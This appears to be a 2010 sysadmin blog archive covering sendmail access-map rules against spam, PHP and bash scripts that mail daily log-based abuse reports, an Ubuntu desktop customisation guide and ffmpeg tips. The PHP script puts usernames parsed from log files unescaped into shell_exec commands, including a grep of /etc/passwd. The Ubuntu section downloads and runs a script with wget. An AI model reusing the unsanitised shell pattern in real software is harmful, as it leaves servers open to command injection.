OK              Accept mail even if other rules in the running
                        ruleset would reject it, for example, if the domain
                        name is unresolvable.  "Accept" does not mean
                        "relay", but at most acceptance for local
                        recipients.  That is, OK allows less than RELAY.
        RELAY           Accept mail addressed to the indicated domain or
                        received from the indicated domain for relaying
                        through your SMTP server.  RELAY also serves as
                        an implicit OK for the other checks.
        REJECT          Reject the sender or recipient with a general
                        purpose message.
        DISCARD         Discard the message completely using the
                        $#discard mailer.  If it is used in check_compat,
                        it affects only the designated recipient, not
                        the whole message as it does in all other cases.
                        This should only be used if really necessary.
        SKIP            This can only be used for host/domain names
                        and IP addresses/nets.  It will abort the current
                        search for this entry without accepting or rejecting
                        it but causing the default action.
        ### any text    where ### is an RFC 821 compliant error code and
                        "any text" is a message to return for the command.
                        The string should be quoted to avoid surprises,
                        e.g., sendmail may remove spaces otherwise.
                        This type is deprecated, use one the two
                        ERROR:  entries below instead.
        ERROR:### any text
                        as above, but useful to mark error messages as such.
        ERROR:D.S.N:### any text
                        where D.S.N is an RFC 1893 compliant error code
                        and the rest as above.
For example:
cyberspammer.com        ERROR:"550 We don't accept mail from spammers"
        okay.cyberspammer.com   OK
        sendmail.org            RELAY
        128.32                  RELAY
        IPv6:1:2:3:4:5:6:7      RELAY
        [127.0.0.3]             OK
        [IPv6:1:2:3:4:5:6:7:8]  OK
would accept mail from okay.cyberspammer.com, but would reject mail from all other hosts at cyberspammer.com with the indicated message. It would allow relaying mail from and to any hosts in the sendmail.org domain, and allow relaying from the 128.32.*.* network and the IPv6 1:2:3:4:5:6:7:* network. The latter two entries are for checks against ${client_name} if the IP address doesn't resolve to a hostname (or is considered as "may be forged"). That is, using square brackets means these are host names, not network numbers.
You can also use the access database to block sender addresses based on the username portion of the address.
For example:
FREE.STEALTH.MAILER@    ERROR:550 Spam not accepted
Note that you must include the @ after the username to signify that this database entry is for checking only the username portion of the sender address.
If you use:
FEATURE(`blacklist_recipients')
then you can add entries to the map for local users, hosts in your domains, or addresses in your domain which should not receive mail:
badlocaluser@           ERROR:550 Mailbox disabled for this username
        host.mydomain.com       ERROR:550 That host does not accept mail
        user@otherhost.mydomain.com     ERROR:550 Mailbox disabled for this recipient
This would prevent a recipient of badlocaluser@mydomain.com, any user at host.mydomain.com, and the single address user@otherhost.mydomain.com from receiving mail. Please note: a local username must be now tagged with an @ (this is consistent with the check of the sender address, and hence it is possible to distinguish between hostnames and usernames). Enabling this feature will keep you from sending mails to all addresses that have an error message or REJECT as value part in the access map. Taking the example from above:
spammer@aol.com         REJECT
        cyberspammer.com        REJECT
Mail can't be sent to spammer@aol.com or anyone at cyberspammer.com.
If using DNS Blackhole List Database via:
FEATURE(`dnsbl')
To avoid checking your own local domains against those blacklists, add:
Connect:10.1            OK
        Connect:127.0.0.1       RELAY
where 10.1 is your local network. You may want to use "RELAY" instead of "OK" to allow also relaying instead of just disabling the DNS lookups in the backlists.
There is now the option to tag entries in the access map according to their type. Three tags are available:
Connect:        connection information (${client_addr}, ${client_name})
        From:           envelope sender
        To:             envelope recipient
If the required item is looked up in a map, it will be tried first with the corresponding tag in front, then (as fallback to enable backward compatibility) without any tag, unless the specific feature requires a tag.
For example:
From:spammer@some.dom   REJECT
        To:friend.domain        RELAY
        Connect:friend.domain   OK
        Connect:from.domain     RELAY
        From:good@another.dom   OK
        From:another.dom        REJECT
This would deny mails from spammer@some.dom but you could still send mail to that address even if FEATURE(`blacklist_recipients') is enabled. Your system will allow relaying to friend.domain, but not from it (unless enabled by other means). Connections from that domain will be allowed even if it ends up in one of the DNS based rejection lists. Relaying is enabled from from.domain but not to it (since relaying is based on the connection information for outgoing relaying, the tag Connect: must be used; for incoming relaying, which is based on the recipient address, To: must be used). The last two entries allow mails from good@another.dom but reject mail from all other addresses with another.dom as domain part.
By using FEATURE(`delay_checks') the rulesets check_mail and check_relay will not be called when a client connects or issues a MAIL command, respectively. Instead, those rulesets will be called by the check_rcpt ruleset; they will be skipped if a sender has been authenticated using a "trusted" mechanism, i.e., one that is defined via TRUST_AUTH_MECH(). If check_mail returns an error then the RCPT TO command will be rejected with that error. If it returns some other result starting with $# then check_relay will be skipped. If the sender address (or a part of it) is listed in the access map and it has a RHS of OK or RELAY, then check_relay will be skipped. This has an interesting side effect: if your domain is my.domain and you have
my.domain       RELAY
in the access map, then any e-mail with a sender address of will not be rejected by check_relay even though it would match the hostname or IP address. This allows spammers to get around DNS based blacklist by faking the sender address. To avoid this problem you have to use tagged entries:
To:my.domain            RELAY
        Connect:my.domain       RELAY
if you need those entries at all (class {R} may take care of them).
FEATURE(`delay_checks') can take an optional argument:
FEATURE(`delay_checks', `friend')
                 enables spamfriend test
        FEATURE(`delay_checks', `hater')
                 enables spamhater test
If such an argument is given, the recipient will be looked up in the access map (using the tag Spam:). If the argument is `friend', then the default behavior is to apply the other rulesets and make a SPAM friend the exception. The rulesets check_mail and check_relay will be skipped only if the recipient address is found and has RHS FRIEND. If the argument is `hater', then the default behavior is to skip the rulesets check_mail and check_relay and make a SPAM hater the exception. The other two rulesets will be applied only if the recipient address is found and has RHS HATER.
This allows for simple exceptions from the tests, e.g., by activating the friend option and having
Spam:abuse@     FRIEND
in the access map, mail to abuse@localdomain will get through (where "localdomain" is any domain in class {w}). It is also possible to specify a full address or an address with +detail:
Spam:abuse@my.domain    FRIEND
        Spam:me+abuse@          FRIEND
        Spam:spam.domain        FRIEND




REFERENCES
http://www.linuxweblog.com/blogs/sandip/20080206/sendmail-accessdb-example

Thursday, October 14, 2010

PHP exec mail -s

— SkyHi @ Thursday, October 14, 2010
<?php
$mail_to_array = array("admin@example.com");

$mail_log_path = "/var/log/maillog";

echo "Producing filtered maillog..";

$generated_date_month = date("M");

$generated_date_day = date("j");

if(strlen($generated_date_day) == 1) {
        $gen_date = "$generated_date_month  $generated_date_day";
}
else {
        $gen_date = "$generated_date_month $generated_date_day";
}


$execution_string = "grep unknown $mail_log_path | grep '$gen_date' > /tmp/.unknownhack";

exec($execution_string);



#mail($mail_to_array[$u], "[pot] Daily unknown users", $message_body, "From: root@pot.example.com");

#exec(mail -s "[Unknown_user_hack potato] $HOSTNAME - `date`" admin@example.com < /tmp/.unknownhack);

//exec(mail -s "[Unknown_user_hack potato] $HOSTNAME - `date`" admin@example.com < /tmp\.unknownhack);

//mail($mail_to_array[$u], "[pot] sendmail Abuse Report!", $message_body, "From: root@pot.example.com");
$command = "mail -s '[Unknown_user_hack potato] $HOSTNAME - `date`' admin@example.com < /tmp/.unknownhack";

exec($command);
?>




bash.sh

#!/bin/bash
echo "[error_log/pot] $HOSTNAME - `date` " > /tmp/.pot.pro.net-error_log.txt
tail -2000 /var/log/messages > /tmp/.pot.example.com-error_log.txt
echo "complete." >> /tmp/.pot.example.com-error_log.txt
mail -s "[error_log/pot] $HOSTNAME - `date`" admin@example.com < /tmp/.pot.pro.net-error_log.txt




<?php

$mail_to_array = array("ga@example.com,pa@example.com,pe@example.com");
//$mail_to_array = array("garyc@example.com");

$mail_log_path = "/var/log/maillog";

echo "Producing filtered maillog..";

$generated_date_month = date("M");

$generated_date_day = date("j");

if(strlen($generated_date_day) == 1) {
        $gen_date = "$generated_date_month  $generated_date_day";
}
else {
        $gen_date = "$generated_date_month $generated_date_day";
}




$execution_string = "grep Login $mail_log_path | grep '$gen_date' > /tmp/.filteredmaillog_ipop3";

exec($execution_string);

$user_access_array = array();

$fp = fopen("/tmp/.filteredmaillog_ipop3", "r");

while($line = fgets($fp)) {
        $line_explosion = explode(" ", $line);
        if(strlen($generated_date_day) == 1) {
                $user_explosion = explode("=", $line_explosion[7]);
        }
        else {
                $user_explosion = explode("=", $line_explosion[6]);
        }
#print_r($line_explosion);
#print_r($user_explosion);

        $username = trim($user_explosion[1]);
        if($user_access_array["$username"] == "") {
                $user_access_array["$username"] = 0;
        }
        $user_access_array["$username"]++;
}

arsort($user_access_array);

#Daily POP3 Abuse Report from $gen_date

$message_body = "
Daily(1440 minutes in a day) POP3 and Imap Total Abuse Report from " . date("r") . "\n" .
"
freq\tusername\t\tspoolsize\t\tuserinfo
----\t--------\t\t---------\t\t--------

";

foreach ($user_access_array as $key => $val) {
   $mail_spool_size = "0";
   $retstr = shell_exec("/bin/ls -lahS /var/spool/mail/" . $key);
   $tmpuserinfo = shell_exec("grep '$key:' /etc/passwd");
   $arrTmpUI = explode(":", $tmpuserinfo);
   $arrRetstr = explode(" ", $retstr);
   $mail_spool_size = $arrRetstr[5];
   $message_body .= "$val\t$key\t\t $mail_spool_size\t\t" . $arrTmpUI[4] . "\n";
}

fclose($fp);

for($u=0;$u<count($mail_to_array);$u++) {

mail($mail_to_array[$u], "[potato] Daily IPOP3 and Imap Total Abuse Report!", $message_body, "From: root@po.example.com");

echo "mailing $mail_to_array[$u]..\n";

}


// old exec string exec("cat $mail_log_path | grep 'sm-mta' | grep 'from=' > /tmp/.filteredmaillog_sendmail");
$execution_string = "grep 'from=' $mail_log_path | grep '$gen_date' > /tmp/.filteredmaillog_sendmail";
exec($execution_string);

$fp = fopen("/tmp/.filteredmaillog_sendmail", "r");

$from_access_array = array();

while($line = fgets($fp)) {
    $line_explosion = explode(" ", $line);
        if(strlen($generated_date_day) == 1) {
        $from_explosion = explode("=>", $line_explosion[7]);
        }
        else {
        $from_explosion = explode("=>", $line_explosion[6]);
        }
#       print_r($line_explosion);

        $fromaddr = trim($from_explosion[0]);
        $additional_from_explosion = explode(",", $fromaddr);
        $fromaddr = $additional_from_explosion[0];
        if($from_access_array["$fromaddr"] == "") {
                $from_access_array["$fromaddr"] = 0;
        }
        $from_access_array["$fromaddr"]++;
}

arsort($from_access_array);

#Daily sendmail Abuse Report for $gen_date.
$message_body = "
Daily sendmail Abuse Report for " . date("r") ."\n" ."

";

foreach ($from_access_array as $key => $val) {
        if($val > 1) {
                $message_body .= "$val\t\t $key\n";
        }
}

for($u=0;$u<count($mail_to_array);$u++) {

mail($mail_to_array[$u], "[Po]Smtp Abuse Report!", $message_body, "From: root@po.example.com");

}

fclose($fp);
?>

Wednesday, October 13, 2010

Ubuntu 10.10 codenamed Maverick Meerkat dock eye candy

— SkyHi @ Wednesday, October 13, 2010
7. Eye Candy

Compiz Fusion
Compiz Fusion allows you to use advanced desktop effects such as the rotating cube desktop.

sudo apt-get install compiz compizconfig-settings-manager compiz-fusion-plugins-main \
compiz-fusion-plugins-extra emerald librsvg2-common fusion-icon

Run Applications -> System Tools -> Compiz Fusion Icon. A blue icon will appear to the tray. From here you can configure Compiz-Fusion.
Conky
Conky is a light-weight system monitor for X, that displays any information on your desktop.

sudo apt-get install conky

Screenlets
Screenlets are small applications that are laying on your desktop. Eye candy stuff and useful in many ways. Just type:

sudo apt-get install screenlets

Go to Applications -> Accessories –> Screenlets choose the screenlet you want click launch/add (you can choose Auto start on login)

You can download additional screenlets from www.gnome-look.org or screenlets.org from http://screenlets.org/index.php/Category:UserScreenlets
Cairo Dock
Cairo Dock is a light eye-candy fully themable animated dock for any Linux desktop. It has a family-likeness with OSX dock, but with more options.

sudo apt-get install cairo-dock cairo-dock-plug-ins

You will find it under Applications > Accessories > Cairo Dock
Gnome Do
GNOME Do (Do) is an intelligent launcher tool that makes performing common tasks on your computer simple and efficient. Do not only allows you to search for items in your desktop environment (e.g. applications, contacts, bookmarks, files, music), it also allows you to specify actions to perform on search results (e.g. run, open, email, chat, play).

sudo apt-get install gnome-do

You will find it under Applications > Accessories > Cairo Dock
Windows Buttons Order
A lot of users complain that the new place for the minize - maximize - close window buttons isn't good. Mwbuttons is a script that allows you to easily change the place the buttons place from left to right. To install and run it type:

wget http://launchpad.net/mwbuttons/trunk/v0.2/+download/mwbuttons
chmod +x mwbuttons
./mwbuttons

Now just select Settings > Karmic style and the buttons will go to the right.

Alternatively you can use Ubuntu Tweak mentioned above.


REFERENCES
http://www.my-guides.net/en/guides/linux/199-ubuntu-maverick-meerkat-1010-post-installation-guide#cairo-dock
http://www.omgubuntu.co.uk/2010/10/customizing-ubuntu-10-10-with-a-dock-new-icon-theme-effects-global-menu-and-more/

Tuesday, October 12, 2010

FFmpeg Tricks You Should Know About

— SkyHi @ Tuesday, October 12, 2010
FFmpeg is a complete, cross-platform solution to record, convert and stream audio and video. It includes libavcodec – the leading audio/video codec library. FFmpeg is free software and is licensed under the LGPL or GPL depending on your choice of configuration options.
FFmpeg supports most of the popular formats, we don’t need to worry a lot about that. Formats supported by FFmpeg include MPEG, MPEG-4 (Divx), ASF, AVI, Real Audio/Video and Quicktime. To see a list of all the codecs/formats supported by FFmpeg, run the following command:
ffmpeg -formats

1. X11 grabbing

FFmpeg can grab the X11 display.
ffmpeg -f x11grab -s cif -i :0.0 /tmp/out.mpg
0.0 is display.screen number of your X11 server, same as the DISPLAY environment variable.
ffmpeg -f x11grab -s cif -i :0.0+10,20 /tmp/out.mpg
0.0 is display.screen number of your X11 server, same as the DISPLAY environment variable. 10 is the x-offset and 20 the y-offset for the grabbing.
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg

2. Convert Pictures To Movie

First, rename your pictures to follow a numerical sequence. For example, img1.jpg, img2.jpg, img3.jpg,… Then you may run:
ffmpeg -f image2 -i img%d.jpg /tmp/a.mpg
Notice that `%d’ is replaced by the image number.
`img%03d.jpg' means the sequence `img001.jpg', `img002.jpg', etc…
If you have large number of pictures to rename, you can use the following command to ease the burden. The command, using the bourne shell syntax, symbolically links all files in the current directory that match *jpg to the `/tmp' directory in the sequence of `img001.jpg', `img002.jpg' and so on.
x=1; for i in *jpg; do counter=$(printf %03d $x); ln "$i" /tmp/img"$counter".jpg; x=$(($x+1)); done
If you want to sequence them by oldest modified first, substitute $(ls -r -t *jpg) in place of *jpg.
Then run:
ffmpeg -f image2 -i /tmp/img%03d.jpg /tmp/a.mpg
The same logic is used for any image format that ffmpeg reads.

3. Video Conversions

Quick and dirty convert to flv
ffmpeg -i inputfile.mp4 outputfile.flv
This converts any media ffmpeg handles to flash. It would actually convert anything to anything, it’s based on the file extension. It doesn’t do ANY quality control, sizing, etc, it just does what it thinks is best.
Convert .flv to .3gp
ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp
Download YouTube videos as .flv and convert them to .3gp for your mobile phone.
Convert AVI to iPhone MP4
ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4
for 4:3 aspect:
ffmpeg -i source-xvid.avi -s 480x320 -aspect 4:3 -b 768k -ab 64k -ar 22050 -r 30000/1001 OUT.mp4
for 16:9:
ffmpeg -i source-xvid.avi -s 480x320 -aspect 16:9 -b 768k -ab 64k -ar 22050 -r 30000/1001 OUT.mp4
Create a video that is supported by youtube:
ffmpeg -i mymovie.mpg -ar 22050 -acodec libmp3lame -ab 32K -r 25 -s 320x240 -vcodec flv
mytarget.flv
Takes an mpeg video and coverts it to a youtube compatible flv file.
The -r 25 sets the frame rate for PAL, for NTSC use 29.97

4. Audio Conversion

Convert RM file to mp3
ffmpeg -i input.rm -acodec libmp3lame -ab 96k output.mp3
Adjust the bitrate (-ab) as necessary. If omitted FFmpeg will use a default of 64 kb/s.
Converting WMV to MP3 using FFMPEG
ffmpeg -i audio1.wmv audio1.mp3
This will convert audio1.wmv file to audio1.mp3
Converting WMV to FLV using FFMPEG

ffmpeg -i audio1.wmv audio1.flv
This will convert audio1.wmv file to audio1.flv, this will generate only audio content
Converting AMR to MP3 using FFMPEG

ffmpeg -i audio1.amr -ar 22050 audio1.mp3
This will convert audio1.amr file to audio1.mp3 having audio rate 22.05 Khz
Converting aac to mp3 using FFMPEG

ffmpeg -i audio1.aac -ar 22050 -ab 32 audio1.mp3
This will convert audio1.aac to audio1.mp3 having audio rate 22.05 Khz and Audio BitRate 32Khz
Converting aac to mp3 using FFMPEG with MetaData

ffmpeg -i audio1.aac -ar 22050 -ab 32 -map_meta_data audio1.mp3:audio1.aac audio1.mp3
This will convert audio1.aac to audio1.mp3 having audio rate 22.05 Khz and Audio BitRate 32Khz and will copy the meta data from .aac file to .mp3 file

5. Audio Extraction

ffmpeg -i video.avi -f mp3 audio.mp3
Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3

6. Record Audio and Video from webcam

To record video run ffmpeg with arguments such as these:
ffmpeg -f video4linux2 -s 320x240 -i /dev/video0 out.mpg
To record both audio and video run ffmpeg with arguments such as these:
ffmpeg -f oss -i /dev/dsp -f video4linux2 -s 320x240 -i /dev/video0 out.mpg

7. Copy Only A Part Of Video

Cut out a piece of film from a file. Choose an arbitrary length and starting time.
ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
-vcodec, you choose what video codec the new file should be encoded with. Run ffmpeg -formats E to list all available video and audio encoders and file formats.
copy, you choose the video encoder that just copies the file.
-acodec, you choose what audio codec the new file should be encoded with.
copy, you choose the audio encoder that just copies the file.
-i originalfile, you provide the filename of the original file to ffmpeg
-ss 00:01:30, you choose the starting time on the original file in this case 1 min and 30 seconds into the film
-t 0:0:20, you choose the length of the new film
newfile, you choose the name of the file created.

8. Join Multiple Video Files

A few multimedia containers (MPEG-1, MPEG-2 PS, DV) allow to join video files by merely concatenating them.
Hence you may concatenate your multimedia files by first transcoding them to these privileged formats, then using the humble cat command (or the equally humble copy under Windows), and finally transcoding back to your format of choice.
mkfifo orig1.mpg
mkfifo orig2.mpg
ffmpeg -i input1.avi -sameq -y orig1.mpg
ffmpeg -i input2.avi -sameq -y orig2.mpg
Merge files
cat orig1.mpg orig2.mpg | ffmpeg -f mpeg -i - -vcodec copy -acodec copy merged.mpg
Merge and convert to avi
cat orig1.mpg orig2.mpg | ffmpeg -f mpeg -i - -sameq -vcodec mpeg4 -acodec libmp3lame merged.avi
Notice that you should either use -sameq or set a reasonably high bitrate for your intermediate and output files, if you want to preserve video quality.
Also notice that you may avoid the huge intermediate files by taking advantage of named pipes, should your platform support it:

9. Removing Synchronization Problems Between Audio and Video

ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv
This assumes that there is a 10.2 sec delay between the video and the audio (delayed).
To extract the original video into a audio and video composites look at the command on extracting audio and video from a movie
Here is more information of how to use ffmpeg:
http://www.ffmpeg.org/ffmpeg-doc.html

REFERENCES
http://segfault.in/2010/10/ffmpeg-tricks-you-should-know-about/